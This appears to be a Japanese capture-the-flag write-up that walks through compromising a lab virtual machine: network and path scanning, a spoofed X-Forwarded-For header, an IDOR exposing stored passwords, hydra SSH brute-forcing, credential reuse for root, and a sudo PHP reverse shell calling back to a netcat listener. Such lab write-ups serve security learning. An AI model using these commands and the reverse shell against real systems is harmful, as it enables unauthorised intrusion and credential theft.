このターゲットには 2 つのflagがあります。1 つは一般ユーザー用で、もう 1 つはrootユーザー用です。
ツールと脆弱性情報#
- netdiscover
- nmap
- gobuster
- hydra
- x-forwarded-for ローカルアクセス
- 水平特権昇格
- mysql パスワードはおそらく root のパスワードです
0x01 情報収集#
ターゲットのスキャン#
netdiscoverの-rオプションを使用して192.168.1.0/16をスキャンした結果は以下の通りです:

nmapを使用してホストとポート情報をスキャンします:
nmap -sS -A -n -T4 -p- 192.168.1.12

sshとwebの 80 ポートしか開いていないことがわかります。
パスのスキャン#
ほとんどの場合、パスのスキャンは必要ありませんが、作業を完全に行うために行います。
gobusterを使用してパスをスキャンします:
gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

特に何もありませんが、robots.txtは毎回チェックする必要があります。ファイルパスheyhoo.txtを取得します。
取得した情報は以下の通りです:
Great! What you need now is reconn, attack and got the shell。
ホームページにアクセスすると以下のようになります:

ローカルからのアクセスのみ許可されていることがわかります。CTF の初心者問題であるx-forwarded-forを127.0.0.1に変更する必要があります。
多くの方法がありますが、パケットキャプチャでも可能です。プラグインも多数あります:Header Editor、X-Forwarded-For Headerなど。
ここではX-Forwarded-For Headerを使用します:

0x02 一般アカウントのシェル#
ホームページにアクセスします:

弱いパスワードでのログインを試みましたが、効果がありませんでした。そのため、アカウントを登録します:

ログイン後、リンクが変更されます:
http://192.168.1.12/index.php?page=dashboard&user_id=12
このuser_id=xxxを 1 に変更すると、ユーザー名とパスワードが変更されます:

firefoxのウェブソースコードを確認すると、パスワードの非表示フィールドの属性typeをpasswordから他の任意の値に変更すると、パスワードを表示できることがわかります:

水平特権が存在し、パスワードも表示できるため、データベース全体のアカウントとパスワードを保存します。
ポートスキャンの際に、80以外にも22のsshログインがあることを忘れないでください。
hydraと見つけたアカウントとパスワードを使用してsshサービスを爆破します:
hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
- -t:4 同時に接続するタスク数。
sshはテストで簡単にクラッシュするため。 - -I 煩わしい待ち時間をスキップすることを示します。

爆破に成功し、sshのアカウントとパスワードalice/4lic3を取得しました。ログインします。
0x03 特権昇格 root#
ログイン後、現在のディレクトリを確認します:ls -al

.my_secretディレクトリで最初のflagを取得します。
ウェブサイトのパスをスキャンする際に、robots.txt以外にも他のものがあるようですので、ウェブサイトのルートディレクトリに移動して確認します:
cd /var/www/html
configディレクトリには、mysqlへのリンクの設定があります:

データベースに接続して情報を確認してみましょう:

指定された設定ファイルに基づいてデータベースを表示します:

これはウェブサイト上のユーザーデータベースであり、有用な情報はありません。
役に立たないと思っていたときに、もしかしたらこれは単なるデータベースのパスワードではないかと思いつきました。
データベースからログアウトし、rootユーザーに切り替えます:su root、データベースのパスワードを入力します:

中に入りました!WTF?

0x04 別の方法で特権昇格 root#
うまくいきませんね、これはディレクトリの表示操作ですよね?
以下では、技術的な内容のない別の方法を試してみましょう::quyin:1huaji::
今、kaliでnc -lvp 3333をリッスンしています。
ターゲットでphpのリバースシェルを実行します:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

参考文献:
この記事は以上です。